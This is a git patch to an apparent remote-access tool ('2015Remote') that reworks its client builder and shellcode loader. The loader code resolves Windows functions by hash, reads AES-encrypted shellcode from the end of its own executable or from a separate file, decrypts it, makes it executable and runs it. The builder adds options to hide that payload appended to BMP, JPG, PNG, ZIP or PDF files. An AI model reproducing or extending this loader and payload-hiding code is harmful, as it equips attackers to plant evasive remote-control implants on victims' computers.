From 71c7c99f62a2a2050257c5254a6f28b22d0affca Mon Sep 17 00:00:00 2001 From: shaun <962914132@qq.com> Date: Tue, 30 Dec 2025 18:01:07 +0100 Subject: [PATCH] Improve building client - append shellcode to file end --- client/SCLoader.vcxproj | 8 +- client/SimpleSCLoader.c | 84 ++++++++++--------- server/2015Remote/2015Remote.rc | Bin 108860 -> 108990 bytes server/2015Remote/2015RemoteDlg.cpp | 69 ++++++++++----- server/2015Remote/BuildDlg.cpp | 126 ++++++++++++++++++++++------ server/2015Remote/BuildDlg.h | 4 + server/2015Remote/resource.h | Bin 58168 -> 58352 bytes 7 files changed, 201 insertions(+), 90 deletions(-) diff --git a/client/SCLoader.vcxproj b/client/SCLoader.vcxproj index 9b3c35d..f103377 100644 --- a/client/SCLoader.vcxproj +++ b/client/SCLoader.vcxproj @@ -90,7 +90,7 @@ Level3 true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreadedDebug 4018;4244;4267;4819;4838 @@ -108,7 +108,7 @@ true true true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded 4018;4244;4267;4819;4838 @@ -126,7 +126,7 @@ Level3 true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreadedDebug 4018;4244;4267;4819;4838 @@ -144,7 +144,7 @@ true true true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded 4018;4244;4267;4819;4838 diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c index cede857..6ffd938 100644 --- a/client/SimpleSCLoader.c +++ b/client/SimpleSCLoader.c @@ -4,8 +4,10 @@ struct { unsigned char aes_key[16]; unsigned char aes_iv[16]; - unsigned char data[4*1024*1024]; + unsigned char *data; int len; + int offset; + char file[_MAX_PATH]; } sc = { "Hello, World!" }; #define Kernel32Lib_Hash 0x1cca9ce6 @@ -25,6 +27,22 @@ typedef BOOL(WINAPI* _VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flN #define Sleep_Hash 1065713747 typedef VOID(WINAPI* _Sleep)(DWORD dwMilliseconds); +#define GetModuleFileName_Hash 1888753264 +typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWORD nSize); + +#define SetFilePointer_Hash 1978850691 +typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); + +#define CreateFileA_Hash 1470354217 +typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, + DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); + +#define ReadFile_Hash 990362902 +typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); + +#define CloseHandle_Hash 110641196 +typedef BOOL(WINAPI* _CloseHandle)(HANDLE hObject); + typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; @@ -201,56 +219,42 @@ void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAdd return 0; } -inline void* mc(void* dest, const void* src, size_t n) -{ - char* d = (char*)dest; - const char* s = (const char*)src; - while (n--) - *d++ = *s++; - return dest; -} - // A simple shell code loader. // Copy left (c) yuanyuanxiang. #ifdef _DEBUG -// Tip: Use menu to generate TinyRun.c. -#ifdef _WIN64 -#include "../x64/Release/TinyRun.c" -#else -#include "../Release/TinyRun.c" +#define entry main #endif -int main() -{ - sc.len = Shellcode_len; - if (sc.len > sizeof(sc.data)) return -1; - memcpy(sc.data, Shellcode, sc.len); - memcpy(sc.aes_iv, "It is a example", 16); - memcpy(sc.aes_key, "It is a example", 16); -#else int entry() { -#endif - if (!sc.data[0] || !sc.len) - return -1; - - struct AES_ctx ctx; - AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv); - AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len); - HMODULE kernel32 = get_kernel32_base(); - if (!kernel32) return -2; + if (!kernel32) return 1; _GetProcAddress GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0); _LoadLibraryA LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, GetProcAddress); _VirtualAlloc VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, GetProcAddress); _VirtualProtect VirtualProtect = (_VirtualProtect)get_proc_address_from_hash(kernel32, VirtualProtect_Hash, GetProcAddress); _Sleep Sleep = (_Sleep)get_proc_address_from_hash(kernel32, Sleep_Hash, GetProcAddress); - void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (exec) { - mc(exec, sc.data, sc.len); - DWORD oldProtect = 0; - if (!VirtualProtect(exec, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return -3; - ((void(*)())exec)(); - Sleep(INFINITE); - } + _GetModuleFileName GetModulePath = (_GetModuleFileName)get_proc_address_from_hash(kernel32, GetModuleFileName_Hash, GetProcAddress); + _CreateFileA CreateFileA = (_CreateFileA)get_proc_address_from_hash(kernel32, CreateFileA_Hash, GetProcAddress); + _SetFilePointer SetFilePointer = (_SetFilePointer)get_proc_address_from_hash(kernel32, SetFilePointer_Hash, GetProcAddress); + _ReadFile ReadFile = (_ReadFile)get_proc_address_from_hash(kernel32, ReadFile_Hash, GetProcAddress); + _CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress); + + if (!sc.file[0]) GetModulePath(NULL, sc.file, MAX_PATH); + HANDLE hFile = CreateFileA(sc.file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) return 2; + SetFilePointer(hFile, (LONG)sc.offset, NULL, FILE_BEGIN); + DWORD bytesRead = 0; + sc.data = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!ReadFile(hFile, sc.data, sc.len, &bytesRead, NULL)) return 3; + CloseHandle(hFile); + if (!sc.data || !sc.len) return 4; + struct AES_ctx ctx; + AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv); + AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len); + DWORD oldProtect = 0; + if (!VirtualProtect(sc.data, sc.len, PAGE_EXECUTE_READ, &oldProtect)) return 5; + ((void(*)())sc.data)(); + Sleep(INFINITE); + return 0; } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 9dbaff883859b2dcb5e81219d042ad147ff6496f..e4d30475c72365d9c154f5b5f4a66ebb5ae37645 100644 GIT binary patch delta 216 zcmdmUiEZCywhc82jHZ(tZyRskkPyc{d0vuq$Z2Gg6l=(ns%&JF+-p3OD1aoB gTJ#FDoNkhZmw*8QQkS*{0bm6&05SkEvmx}IwKq61RsaA1 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 429d409..bd75445 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -3154,32 +3154,61 @@ char* ReadFileToBuffer(const std::string &path, size_t& outSize) ////////////////////////////////////////////////////////////////////////// // UPX -BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size) +BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset) { - // 打开文件,以二进制模式写入 - std::string filePath = path; - std::ofstream outFile(filePath, std::ios::binary); + std::string filePath = path; + std::fstream outFile; - if (!outFile) { - Mprintf("Failed to open or create the file: %s.\n", filePath.c_str()); - return FALSE; + if (offset == 0) { + // offset=0 时截断文件,等同覆盖写入 + outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::trunc); + } + else if (offset == -1) { + // offset=-1 时追加写入 + outFile.open(filePath, std::ios::binary | std::ios::out | std::ios::app); + } + else { + // 非0偏移,保留原内容,定位写入 + outFile.open(filePath, std::ios::binary | std::ios::in | std::ios::out); + + // 文件不存在时创建 + if (!outFile) { + outFile.open(filePath, std::ios::binary | std::ios::out); + } + } + + if (!outFile) { + Mprintf("Failed to open or create the file: %s.\n", filePath.c_str()); + return FALSE; + } + + // 追加模式不需要 seekp, 其他情况定位到指定位置 + if (offset != -1) { + // 定位到指定位置 + outFile.seekp(offset, std::ios::beg); + + // 验证 seekp 是否成功 + if (outFile.fail()) { + Mprintf("Failed to seek to offset %llu.\n", offset); + outFile.close(); + return FALSE; + } } - // 写入二进制数据 - outFile.write(data, size); + // 写入二进制数据 + outFile.write(data, size); - if (outFile.good()) { - Mprintf("Binary data written successfully to %s.\n", filePath.c_str()); - } else { - Mprintf("Failed to write data to file.\n"); - outFile.close(); - return FALSE; - } + if (outFile.good()) { + Mprintf("Binary data written successfully to %s.\n", filePath.c_str()); + } + else { + Mprintf("Failed to write data to file.\n"); + outFile.close(); + return FALSE; + } - // 关闭文件 - outFile.close(); - - return TRUE; + outFile.close(); + return TRUE; } int run_cmd(std::string cmdLine) diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index abd8253..98f6f98 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -23,6 +23,16 @@ enum Index { OTHER_ITEM }; +enum Payload { + Payload_Self, + Payload_Raw, + Payload_BMP, + Payload_JPG, + Payload_PNG, + Payload_ZIP, + Payload_PDF, +}; + // CBuildDlg 对话框 IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) @@ -91,6 +101,8 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_EDIT_GROUPNAME, m_EditGroup); DDX_Text(pDX, IDC_EDIT_GROUPNAME, m_sGroupName); DDV_MaxChars(pDX, m_sGroupName, 23); + DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload); + DDX_Control(pDX, IDC_STATIC_PAYLOAD, m_StaticPayload); } @@ -101,6 +113,7 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog) ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden) ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp) ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin) + ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress) END_MESSAGE_MAP() @@ -112,7 +125,7 @@ void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, b bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align = false); -BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size); +BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0); std::string ReleaseEXE(int resID, const char* name) { @@ -134,8 +147,10 @@ std::string ReleaseEXE(int resID, const char* name) typedef struct SCInfo { unsigned char aes_key[16]; unsigned char aes_iv[16]; - unsigned char data[4 * 1024 * 1024]; + unsigned char *data; int len; + int offset; + char file[_MAX_PATH]; } SCInfo; #define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name) @@ -163,6 +178,21 @@ void generate_random_iv(unsigned char* iv, size_t len) BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG); } +ULONGLONG GetFileSize(const char* path) +{ + std::ifstream file(path, std::ios::binary | std::ios::ate); + + if (!file) { + Mprintf("Failed to open file: %s.\n", path); + return 0; + } + + ULONGLONG size = file.tellg(); + file.close(); + + return size; +} + void CBuildDlg::OnBnClickedOk() { UpdateData(TRUE); @@ -336,14 +366,33 @@ void CBuildDlg::OnBnClickedOk() struct AES_ctx ctx; AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv); AES_CBC_encrypt_buffer(&ctx, srcData, srcLen); - if (srcLen <= 4 * 1024 * 1024) { - memcpy(sc->data, srcData, srcLen); - sc->len = srcLen; - } - SAFE_DELETE_ARRAY(srcData); + sc->len = srcLen; + sc->offset = dwSize; + CString old = strSeverFile; PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe")); strSeverFile.ReleaseBuffer(); + if (strSeverFile != old) DeleteFileA(old); + int n = m_ComboPayload.GetCurSel(); + CString payload = strSeverFile; + if (n) { + static std::map m = { + { Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"}, + { Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"}, + { Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"}, + }; + payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw); + sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload); + strcpy(sc->file, PathFindFileNameA(payload)); + tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; + } BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize); + if (r) { + r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1); + if (!r) tip = "\r\n警告: 生成载荷失败!"; + }else{ + MessageBox("文件生成失败: \r\n" + strSeverFile, "提示", MB_ICONINFORMATION); + } + SAFE_DELETE_ARRAY(srcData); } } } @@ -420,6 +469,17 @@ BOOL CBuildDlg::OnInitDialog() m_ComboCompress.InsertString(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode"); m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE); + m_ComboPayload.InsertString(Payload_Self, "载荷写入当前程序尾部"); + m_ComboPayload.InsertString(Payload_Raw, "载荷写入单独的二进制文件"); + m_ComboPayload.InsertString(Payload_BMP, "载荷写入 BMP 格式图片"); + m_ComboPayload.InsertString(Payload_JPG, "载荷写入 JPG 格式图片"); + m_ComboPayload.InsertString(Payload_PNG, "载荷写入 PNG 格式图片"); + m_ComboPayload.InsertString(Payload_ZIP, "载荷写入 ZIP 压缩包"); + m_ComboPayload.InsertString(Payload_PDF, "载荷写入 PDF 文件"); + m_ComboPayload.SetCurSel(Payload_Self); + m_ComboPayload.ShowWindow(SW_HIDE); + m_StaticPayload.ShowWindow(SW_HIDE); + m_OtherItem.ShowWindow(SW_HIDE); m_runasAdmin = FALSE; @@ -434,29 +494,36 @@ BOOL CBuildDlg::OnInitDialog() // 异常: OCX 属性页应返回 FALSE } +CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen) { + CComPtr spDesktop; + HRESULT hr = SHGetDesktopFolder(&spDesktop); + if (FAILED(hr)) { + MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示"); + return ""; + } + // 过滤器:显示所有文件和特定类型文件(例如文本文件) + CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd()); + int ret = 0; + try { + ret = fileDlg.DoModal(); + } + catch (...) { + MessageBox("文件对话框未成功打开! 请稍后再试。", "提示"); + return ""; + } + if (ret == IDOK) { + CString name = fileDlg.GetPathName(); + return name; + } + return ""; +} + void CBuildDlg::OnCbnSelchangeComboExe() { auto n = m_ComboExe.GetCurSel(); if (n == OTHER_ITEM) { - CComPtr spDesktop; - HRESULT hr = SHGetDesktopFolder(&spDesktop); - if (FAILED(hr)) { - MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示"); - return; - } - // 过滤器:显示所有文件和特定类型文件(例如文本文件) - CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, - _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"), AfxGetMainWnd()); - int ret = 0; - try { - ret = fileDlg.DoModal(); - } catch (...) { - MessageBox("文件对话框未成功打开! 请稍后再试。", "提示"); - return; - } - if (ret == IDOK) { - CString name = fileDlg.GetPathName(); - + CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|")); + if (!name.IsEmpty()) { m_OtherItem.SetWindowTextA(name); CFile File; BOOL ret = File.Open(name, CFile::modeRead | CFile::typeBinary); @@ -513,3 +580,10 @@ void CBuildDlg::OnClientRunasAdmin() CMenu* SubMenu = m_MainMenu.GetSubMenu(0); SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED); } + + +void CBuildDlg::OnCbnSelchangeComboCompress() +{ + m_ComboPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); + m_StaticPayload.ShowWindow(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES ? SW_SHOW : SW_HIDE); +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 2808ba4..4ac7f05 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -23,6 +23,7 @@ public: protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE); DECLARE_MESSAGE_MAP() public: @@ -47,4 +48,7 @@ public: CString m_strEncryptIP; afx_msg void OnMenuEncryptIp(); afx_msg void OnClientRunasAdmin(); + CComboBox m_ComboPayload; + afx_msg void OnCbnSelchangeComboCompress(); + CStatic m_StaticPayload; }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index e4885c49f84d537328898c2eeb1ac9595bdd18d0..d16d6829ff92a464273c25f47505866646702ea9 100644 GIT binary patch delta 78 zcmdmSjQPWH<_&uDCw~xNn`|(VhuM)Ka`OK3$`c>3O#UFxHkpM{YLYzH